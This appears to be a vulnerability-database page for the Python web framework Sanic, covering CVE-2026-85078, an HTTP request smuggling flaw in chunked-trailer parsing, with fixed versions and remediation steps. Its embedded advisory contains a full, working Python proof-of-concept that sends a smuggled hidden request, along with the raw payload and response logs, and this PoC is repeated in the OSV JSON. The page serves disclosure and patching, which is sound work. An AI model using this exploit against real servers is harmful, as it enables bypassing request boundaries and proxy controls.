Vulnerabilities in pkg:pypi/sanic

PACKAGE
Advisory Identifier: GHSA-wmj6-g64g-j7q5
Advisory Summary

CVE-2026-85078 is a MODERATE (CVSS 6.5) sanic chunked trailer request smuggling vulnerability (CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')) affecting Sanic libraries in the PyPI ecosystem. The issue involves sanic chunked trailer request smuggling allows hidden second request execution. Remediation is available by upgrading affected packages to version 24.12.1, 25.12.1.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/sanic

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/sanic. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-wmj6-g64g-j7q5 CVE-2026-85078 MODERATE sanic chunked trailer request smuggling allows hidden second request execution
GHSA-mpmf-hr8p-p49g CVE-2017-16762 HIGH Sanic arbitrary file read and directory traversal
GHSA-8cw9-5hmv-77w6 CVE-2022-35920 HIGH sanic vulnerable to Path Traversal when using `app.static` if using encoded `%2F` URLs
GHSA-7p79-6x2v-5h88 - HIGH Server crash if running Python 3.10 w/ Sanic 20.12

CVE-2026-85078 at a Glance

CVE Identifier CVE-2026-85078
GHSA Identifier GHSA-wmj6-g64g-j7q5
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Affected Product Sanic
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-85078

To remediate this vulnerability, upgrade all affected Sanic dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sanic fixed: 24.12.1
pip install sanic>=24.12.1
sanic fixed: 25.12.1
pip install sanic>=25.12.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show sanic

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-85078, inspect your installed packages using pip:

pip show sanic

Analyze the terminal output to locate any version of Sanic in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 24.12.1), your application is affected.

Note: The pip show sanic command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), where the product acts as an intermediary http agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed http requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. In Sanic, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description Sanic's HTTP/1.1 chunked-body handling does not fully consume the `trailer-part` after the terminating `0\r\n` chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer `POST /` request that correctly returns `405 Method Not Allowed` is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request. The issue is a request-boundary integrity failure in Sanic's core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected `405` for the outer `POST /`, then a separate `200 OK` for a hidden `GET /`. A second exploit variant changes the hidden request path and receives a real `404 Not Found`, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from `GET` to `:GET`, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining. ## Steps To Reproduce 1. Start a Sanic HTTP/1.1 service on a keep-alive connection path. In the verified run, the local target listened on `127.0.0.1:9381` and the root route allowed `GET /` but not `POST /`. 2. From the package root, run the provided PoC: ```bash python3 evidence/vuln_001_chunked_trailer_smuggle.py | tee evidence/vuln_001_chunked_trailer_smuggle.run.txt ``` 3. Review the baseline case in `evidence/vuln_001_chunked_trailer_smuggle.run.txt`. A normal chunked request with `0\r\n\r\n` returns exactly one response block: ```text === CASE: baseline_no_trailer === Received response blocks: 1 HTTP/1.1 405 Method Not Allowed ``` 4. Review the exploit case that hides `GET /` in the trailer area: ```text === CASE: exploit_smuggled_root === ``` The PoC sends a single TCP payload containing: ```text POST / HTTP/1.1 Host: 127.0.0.1:9381 Connection: keep-alive Transfer-Encoding: chunked 1 X 0 a:GET / HTTP/1.1 Host: 127.0.0.1:9381 ``` 5. Confirm that Sanic returns two response blocks from that one send: ```text Received response blocks: 2 HTTP/1.1 405 Method Not Allowed ... HTTP/1.1 200 OK ... {"test":true} ``` 6. Review the second exploit case that changes the smuggled request path to a nonexistent route: ```text === CASE: exploit_smuggled_404 === ``` Confirm that Sanic again returns two response blocks and that the second response is a real routed `404 Not Found` for the attacker-controlled hidden path. 7. Review the control case with a two-character trailer field name: ```text === CASE: offset_control_two_char_field_name === ``` Confirm that the second request is now interpreted as `:GET /`, producing a second `405` with `Method :GET not allowed for URL /`. This demonstrates that the leftover bytes begin at a parser offset inside the trailer region and are then reinterpreted as a new request line. ## Recommendations After parsing the terminating `0` chunk, Sanic must continue parsing and fully consuming the `trailer-part` until the final empty line before the connection buffer is reused. If trailer support is not intended, the safer behavior is to reject any request that contains bytes after the terminating `0\r\n` other than the expected final empty line, and then close the connection instead of keeping it alive. Add regression coverage for all three cases shown in the evidence: a normal `0\r\n\r\n` chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed. The fix needs to guarantee that no bytes from trailer processing can remain in the buffer as a candidate next request. ## poc ```python #!/usr/bin/env python3 """Proof of concept for HTTP/1.1 chunked trailer request injection.""" from __future__ import annotations import socket from dataclasses import dataclass from typing import Iterable TARGET = "sanic-org/sanic" BASE_URL = "http://127.0.0.1:9381" HOST = "127.0.0.1" PORT = 9381 TIMEOUT = 1.0 PROXY = None AUTH_HEADERS: dict[str, str] = {} @dataclass class Case: name: str payload: bytes expected_responses: int expected_markers: tuple[bytes, ...] def build_prefix() -> bytes: return ( b"POST / HTTP/1.1\r\n" + f"Host: {HOST}:{PORT}\r\n".encode() + b"Connection: keep-alive\r\n" + b"Transfer-Encoding: chunked\r\n" + b"\r\n" + b"1\r\n" + b"X\r\n" ) def build_case_payload(path: str | None = None, field_name: str = "a") -> bytes: prefix = build_prefix() if path is None: return prefix + b"0\r\n\r\n" return ( prefix + b"0\r\n" + f"{field_name}:GET {path} HTTP/1.1\r\n".encode() + f"Host: {HOST}:{PORT}\r\n".encode() + b"\r\n" ) def send_payload(payload: bytes) -> bytes: response = bytearray() with socket.create_connection((HOST, PORT), timeout=3) as sock: sock.sendall(payload) sock.settimeout(TIMEOUT) while True: try: chunk = sock.recv(4096) except TimeoutError: break if not chunk: break response.extend(chunk) return bytes(response) def count_http_responses(response: bytes) -> int: return response.count(b"HTTP/1.1 ") def ensure_markers(case: Case, response: bytes) -> None: actual_count = count_http_responses(response) if actual_count != case.expected_responses: raise SystemExit( f"[FAIL] {case.name}: expected {case.expected_responses} responses, got {actual_count}" ) for marker in case.expected_markers: if marker not in response: raise SystemExit( f"[FAIL] {case.name}: missing marker {marker.decode('latin1', 'replace')}" ) def render_payload(payload: bytes) -> str: return payload.decode("latin1", "replace") def render_response(response: bytes) -> str: return response.decode("latin1", "replace") def iter_cases() -> Iterable[Case]: yield Case( name="baseline_no_trailer", payload=build_case_payload(), expected_responses=1, expected_markers=( b"HTTP/1.1 405 Method Not Allowed", b"Method POST not allowed for URL /", ), ) yield Case( name="exploit_smuggled_root", payload=build_case_payload("/"), expected_responses=2, expected_markers=( b"HTTP/1.1 405 Method Not Allowed", b"HTTP/1.1 200 OK", b'{"test":true}', ), ) yield Case( name="exploit_smuggled_404", payload=build_case_payload("/this-path-should-not-exist"), expected_responses=2, expected_markers=( b"HTTP/1.1 405 Method Not Allowed", b"HTTP/1.1 404 Not Found", b"Requested URL /this-path-should-not-exist not found", ), ) yield Case( name="offset_control_two_char_field_name", payload=build_case_payload("/", field_name="ab"), expected_responses=2, expected_markers=( b"HTTP/1.1 405 Method Not Allowed", b"Method :GET not allowed for URL /", ), ) def main() -> None: print(f"Target: {TARGET}") print(f"Base URL: {BASE_URL}") print() for case in iter_cases(): print(f"=== CASE: {case.name} ===") print("Sent payload:") print(render_payload(case.payload)) response = send_payload(case.payload) ensure_markers(case, response) print(f"Received response blocks: {count_http_responses(response)}") print("Raw response:") print(render_response(response)) print("[OK] Case verified") print() if __name__ == "__main__": main() ``` ## Evidence Files The attachment package includes the exact PoC and the full runtime output from the verified local execution. - `evidence/vuln_001_chunked_trailer_smuggle.py`: full PoC used for the verified run. - `evidence/vuln_001_chunked_trailer_smuggle.run.txt`: runtime output showing the baseline behavior, the successful smuggled `GET /` execution, the successful smuggled `GET /this-path-should-not-exist` execution, and the trailer-offset control case. Observed baseline behavior: ```text === CASE: baseline_no_trailer === Received response blocks: 1 Raw response: HTTP/1.1 405 Method Not Allowed ... Method POST not allowed for URL / ``` Observed hidden second request execution: ```text === CASE: exploit_smuggled_root === Received response blocks: 2 Raw response: HTTP/1.1 405 Method Not Allowed ... Method POST not allowed for URL / HTTP/1.1 200 OK ... {"test":true} ``` Observed hidden attacker-controlled path execution: ```text === CASE: exploit_smuggled_404 === Received response blocks: 2 Raw response: HTTP/1.1 405 Method Not Allowed ... Method POST not allowed for URL / HTTP/1.1 404 Not Found ... Requested URL /this-path-should-not-exist not found ``` Observed trailer-offset control: ```text === CASE: offset_control_two_char_field_name === Received response blocks: 2 Raw response: HTTP/1.1 405 Method Not Allowed ... Method POST not allowed for URL / HTTP/1.1 405 Method Not Allowed ... Method :GET not allowed for URL / ``` ## Impact An attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client. This breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.

CVE-2026-85078 Affected Sanic Versions

2 component(s)
Fixed Versions:
24.12.125.12.1
Product / Package Ecosystem Affected Versions Fixed Version
sanic
PyPI
< 24.12.1
24.12.1
sanic
PyPI
≥ 25.12.0
< 25.12.1
25.12.1

References

Frequently Asked Questions

What is CVE-2026-85078?
CVE-2026-85078 is a security vulnerability in Sanic involving sanic chunked trailer request smuggling allows hidden second request execution under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling').
Which Sanic versions are affected?
Affected versions include releases prior to 24.12.1, 25.12.1 across affected packages: sanic.
What version fixes CVE-2026-85078?
Upgrading to 24.12.1, 25.12.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is sanic affected?
Yes, sanic is affected in releases prior to 24.12.1, 25.12.1. Upgrade your dependency to 24.12.1, 25.12.1 or later.
What is the CVSS score of CVE-2026-85078?
CVE-2026-85078 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2026-85078?
CVE-2026-85078 is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.).
How can I check PyPI dependencies for CVE-2026-85078?
Run the dependency tree command: 'pip show sanic'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wmj6-g64g-j7q5",
  "modified" : "2026-09-17T14:59:16Z",
  "published" : "2026-09-17T14:59:16Z",
  "aliases" : [ "CVE-2026-85078" ],
  "summary" : "sanic chunked trailer request smuggling allows hidden second request execution",
  "details" : "## Description\n\nSanic's HTTP/1.1 chunked-body handling does not fully consume the `trailer-part` after the terminating `0\\r\\n` chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer `POST /` request that correctly returns `405 Method Not Allowed` is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request.\n\nThe issue is a request-boundary integrity failure in Sanic's core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected `405` for the outer `POST /`, then a separate `200 OK` for a hidden `GET /`. A second exploit variant changes the hidden request path and receives a real `404 Not Found`, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from `GET` to `:GET`, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining.\n\n## Steps To Reproduce\n\n1. Start a Sanic HTTP/1.1 service on a keep-alive connection path. In the verified run, the local target listened on `127.0.0.1:9381` and the root route allowed `GET /` but not `POST /`.\n2. From the package root, run the provided PoC:\n\n```bash\npython3 evidence/vuln_001_chunked_trailer_smuggle.py | tee evidence/vuln_001_chunked_trailer_smuggle.run.txt\n```\n\n3. Review the baseline case in `evidence/vuln_001_chunked_trailer_smuggle.run.txt`. A normal chunked request with `0\\r\\n\\r\\n` returns exactly one response block:\n\n```text\n=== CASE: baseline_no_trailer ===\nReceived response blocks: 1\nHTTP/1.1 405 Method Not Allowed\n```\n\n4. Review the exploit case that hides `GET /` in the trailer area:\n\n```text\n=== CASE: exploit_smuggled_root ===\n```\n\nThe PoC sends a single TCP payload containing:\n\n```text\nPOST / HTTP/1.1\nHost: 127.0.0.1:9381\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n1\nX\n0\na:GET / HTTP/1.1\nHost: 127.0.0.1:9381\n```\n\n5. Confirm that Sanic returns two response blocks from that one send:\n\n```text\nReceived response blocks: 2\nHTTP/1.1 405 Method Not Allowed\n...\nHTTP/1.1 200 OK\n...\n{\"test\":true}\n```\n\n6. Review the second exploit case that changes the smuggled request path to a nonexistent route:\n\n```text\n=== CASE: exploit_smuggled_404 ===\n```\n\nConfirm that Sanic again returns two response blocks and that the second response is a real routed `404 Not Found` for the attacker-controlled hidden path.\n7. Review the control case with a two-character trailer field name:\n\n```text\n=== CASE: offset_control_two_char_field_name ===\n```\n\nConfirm that the second request is now interpreted as `:GET /`, producing a second `405` with `Method :GET not allowed for URL /`. This demonstrates that the leftover bytes begin at a parser offset inside the trailer region and are then reinterpreted as a new request line.\n\n## Recommendations\n\nAfter parsing the terminating `0` chunk, Sanic must continue parsing and fully consuming the `trailer-part` until the final empty line before the connection buffer is reused. If trailer support is not intended, the safer behavior is to reject any request that contains bytes after the terminating `0\\r\\n` other than the expected final empty line, and then close the connection instead of keeping it alive.\n\nAdd regression coverage for all three cases shown in the evidence: a normal `0\\r\\n\\r\\n` chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed. The fix needs to guarantee that no bytes from trailer processing can remain in the buffer as a candidate next request.\n\n## poc\n\n```python\n#!/usr/bin/env python3\n\"\"\"Proof of concept for HTTP/1.1 chunked trailer request injection.\"\"\"\n\nfrom __future__ import annotations\n\nimport socket\nfrom dataclasses import dataclass\nfrom typing import Iterable\n\n\nTARGET = \"sanic-org/sanic\"\nBASE_URL = \"http://127.0.0.1:9381\"\nHOST = \"127.0.0.1\"\nPORT = 9381\nTIMEOUT = 1.0\nPROXY = None\nAUTH_HEADERS: dict[str, str] = {}\n\n\n@dataclass\nclass Case:\n    name: str\n    payload: bytes\n    expected_responses: int\n    expected_markers: tuple[bytes, ...]\n\n\ndef build_prefix() -> bytes:\n    return (\n        b\"POST / HTTP/1.1\\r\\n\"\n        + f\"Host: {HOST}:{PORT}\\r\\n\".encode()\n        + b\"Connection: keep-alive\\r\\n\"\n        + b\"Transfer-Encoding: chunked\\r\\n\"\n        + b\"\\r\\n\"\n        + b\"1\\r\\n\"\n        + b\"X\\r\\n\"\n    )\n\n\ndef build_case_payload(path: str | None = None, field_name: str = \"a\") -> bytes:\n    prefix = build_prefix()\n    if path is None:\n        return prefix + b\"0\\r\\n\\r\\n\"\n    return (\n        prefix\n        + b\"0\\r\\n\"\n        + f\"{field_name}:GET {path} HTTP/1.1\\r\\n\".encode()\n        + f\"Host: {HOST}:{PORT}\\r\\n\".encode()\n        + b\"\\r\\n\"\n    )\n\n\ndef send_payload(payload: bytes) -> bytes:\n    response = bytearray()\n    with socket.create_connection((HOST, PORT), timeout=3) as sock:\n        sock.sendall(payload)\n        sock.settimeout(TIMEOUT)\n        while True:\n            try:\n                chunk = sock.recv(4096)\n            except TimeoutError:\n                break\n            if not chunk:\n                break\n            response.extend(chunk)\n    return bytes(response)\n\n\ndef count_http_responses(response: bytes) -> int:\n    return response.count(b\"HTTP/1.1 \")\n\n\ndef ensure_markers(case: Case, response: bytes) -> None:\n    actual_count = count_http_responses(response)\n    if actual_count != case.expected_responses:\n        raise SystemExit(\n            f\"[FAIL] {case.name}: expected {case.expected_responses} responses, got {actual_count}\"\n        )\n    for marker in case.expected_markers:\n        if marker not in response:\n            raise SystemExit(\n                f\"[FAIL] {case.name}: missing marker {marker.decode('latin1', 'replace')}\"\n            )\n\n\ndef render_payload(payload: bytes) -> str:\n    return payload.decode(\"latin1\", \"replace\")\n\n\ndef render_response(response: bytes) -> str:\n    return response.decode(\"latin1\", \"replace\")\n\n\ndef iter_cases() -> Iterable[Case]:\n    yield Case(\n        name=\"baseline_no_trailer\",\n        payload=build_case_payload(),\n        expected_responses=1,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"Method POST not allowed for URL /\",\n        ),\n    )\n    yield Case(\n        name=\"exploit_smuggled_root\",\n        payload=build_case_payload(\"/\"),\n        expected_responses=2,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"HTTP/1.1 200 OK\",\n            b'{\"test\":true}',\n        ),\n    )\n    yield Case(\n        name=\"exploit_smuggled_404\",\n        payload=build_case_payload(\"/this-path-should-not-exist\"),\n        expected_responses=2,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"HTTP/1.1 404 Not Found\",\n            b\"Requested URL /this-path-should-not-exist not found\",\n        ),\n    )\n    yield Case(\n        name=\"offset_control_two_char_field_name\",\n        payload=build_case_payload(\"/\", field_name=\"ab\"),\n        expected_responses=2,\n        expected_markers=(\n            b\"HTTP/1.1 405 Method Not Allowed\",\n            b\"Method :GET not allowed for URL /\",\n        ),\n    )\n\n\ndef main() -> None:\n    print(f\"Target: {TARGET}\")\n    print(f\"Base URL: {BASE_URL}\")\n    print()\n    for case in iter_cases():\n        print(f\"=== CASE: {case.name} ===\")\n        print(\"Sent payload:\")\n        print(render_payload(case.payload))\n        response = send_payload(case.payload)\n        ensure_markers(case, response)\n        print(f\"Received response blocks: {count_http_responses(response)}\")\n        print(\"Raw response:\")\n        print(render_response(response))\n        print(\"[OK] Case verified\")\n        print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Evidence Files\n\nThe attachment package includes the exact PoC and the full runtime output from the verified local execution.\n\n- `evidence/vuln_001_chunked_trailer_smuggle.py`: full PoC used for the verified run.\n- `evidence/vuln_001_chunked_trailer_smuggle.run.txt`: runtime output showing the baseline behavior, the successful smuggled `GET /` execution, the successful smuggled `GET /this-path-should-not-exist` execution, and the trailer-offset control case.\n\nObserved baseline behavior:\n\n```text\n=== CASE: baseline_no_trailer ===\nReceived response blocks: 1\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n```\n\nObserved hidden second request execution:\n\n```text\n=== CASE: exploit_smuggled_root ===\nReceived response blocks: 2\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n\nHTTP/1.1 200 OK\n...\n{\"test\":true}\n```\n\nObserved hidden attacker-controlled path execution:\n\n```text\n=== CASE: exploit_smuggled_404 ===\nReceived response blocks: 2\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n\nHTTP/1.1 404 Not Found\n...\nRequested URL /this-path-should-not-exist not found\n```\n\nObserved trailer-offset control:\n\n```text\n=== CASE: offset_control_two_char_field_name ===\nReceived response blocks: 2\nRaw response:\nHTTP/1.1 405 Method Not Allowed\n...\nMethod POST not allowed for URL /\n\nHTTP/1.1 405 Method Not Allowed\n...\nMethod :GET not allowed for URL /\n```\n\n## Impact\n\nAn attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client.\n\nThis breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "sanic"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "24.12.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "sanic"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "25.12.0"
      }, {
        "fixed" : "25.12.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sanic-org/sanic/security/advisories/GHSA-wmj6-g64g-j7q5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sanic-org/sanic/pull/3164"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sanic-org/sanic/pull/3165"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sanic-org/sanic/commit/47349d689d65fa1907977ac100e867894aeafb22"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sanic-org/sanic/commit/69a10d3b06babaa9e5f6d1af577364e9e53b6dea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sanic-org/sanic/commit/a332796506c7c588b6930b02a8886e43eb8ea8d6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sanic-org/sanic"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sanic-org/sanic/releases/tag/v24.12.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sanic-org/sanic/releases/tag/v25.12.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-444" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T14:59:16Z",
    "nvd_published_at" : null
  }
}